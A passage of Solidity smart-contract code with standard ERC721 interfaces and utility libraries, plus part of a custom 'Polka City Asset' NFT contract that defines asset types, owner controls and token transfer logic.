function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
abstract contract ERC165 is IERC165 {
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(type(IERC165).interfaceId);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key)
return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits;
temp = value;
while (temp != 0) {
buffer[--index] = bytes1(uint8(48 + uint256(temp % 10)));
temp /= 10;
}
return string(buffer);
}
}
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
}
contract Ownable {
address private owner;
event OwnerSet(address indexed oldOwner, address indexed newOwner);
modifier onlyOwner() {
require(msg.sender == owner, "Caller is not owner");
_;
}
constructor() {
owner = msg.sender; // 'msg.sender' is sender of current call, contract deployer for a constructor
emit OwnerSet(address(0), owner);
}
function changeOwner(address newOwner) public onlyOwner {
emit OwnerSet(owner, newOwner);
owner = newOwner;
}
function getOwner() external view returns (address) {
return owner;
}
}
contract ERC721 is ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
using Counters for Counters.Counter;
// Map the selling contracts that can mint tokens
mapping (address => bool) public minters;
// Contract that calculates the stake profits
address public profitsContract;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
struct assetType {
uint64 maxAmount;
uint64 mintedAmount;
uint128 baseValue;
}
mapping (uint256 => assetType) public assetsByType;
struct assetDetail {
uint128 value;
uint32 lastTrade;
uint32 lastPayment;
uint32 typeDetail;
uint32 customDetails;
}
mapping (uint256 => assetDetail) assetsDetails;
address public sellingContract;
uint256 public polkaCitizens = 0;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Base URI
string private _baseURI;
Counters.Counter private _tokenIdTracker;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor () {
_name ="Polka City Asset";
_symbol = "PCA";
_baseURI = "https://polkacity.app/nftasset/";
initAssets(1, 1000, 1500);
initAssets(2, 750, 3000);
initAssets(3, 500, 7500);
initAssets(4, 300, 10000);
initAssets(5, 200, 15000);
initAssets(6, 50, 75000);
initAssets(7, 50, 65500);
initAssets(8, 50, 40000);
initAssets(9, 50, 90000);
initAssets(10, 50, 55000);
initAssets(11, 50, 105000);
initAssets(12, 50, 50000);
initAssets(13, 50, 22500);
initAssets(14, 50, 30000);
initAssets(15, 50, 45000);
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(type(IERC721).interfaceId);
_registerInterface(type(IERC721Metadata).interfaceId);
_registerInterface(type(IERC721Enumerable).interfaceId);
}
function initAssets(uint64 _assetType, uint64 _maxAmount, uint256 _baseValue) private {
assetsByType[_assetType].maxAmount = _maxAmount;
assetsByType[_assetType].mintedAmount = 0;
assetsByType[_assetType].baseValue = uint128(_baseValue * (10 ** 18));
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address _owner) public view virtual override returns (uint256) {
require(_owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[_owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory base = baseURI();
return string(abi.encodePacked(base, assetsDetails[tokenId].customDetails));
}
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address _owner, uint256 index) public view virtual override returns (uint256) {
return _holderTokens[_owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return (tokenId);
}
function getTokenDetails(uint256 index) public view returns (uint128 lastvalue, uint32 aType, uint32 customDetails, uint32 lastTx, uint32 lastPayment) {
return (assetsDetails[index].value,
assetsDetails[index].typeDetail,
assetsDetails[index].customDetails,
assetsDetails[index].lastTrade,
assetsDetails[index].lastPayment);
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address _owner = ERC721.ownerOf(tokenId);
require(to != _owner, "ERC721: approval to current owner");
require(msg.sender == _owner || ERC721.isApprovedForAll(_owner, msg.sender),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != msg.sender, "ERC721: approve to caller");
_operatorApprovals[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address _owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[_owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address _owner = ERC721.ownerOf(tokenId);
return (spender == _owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(_owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
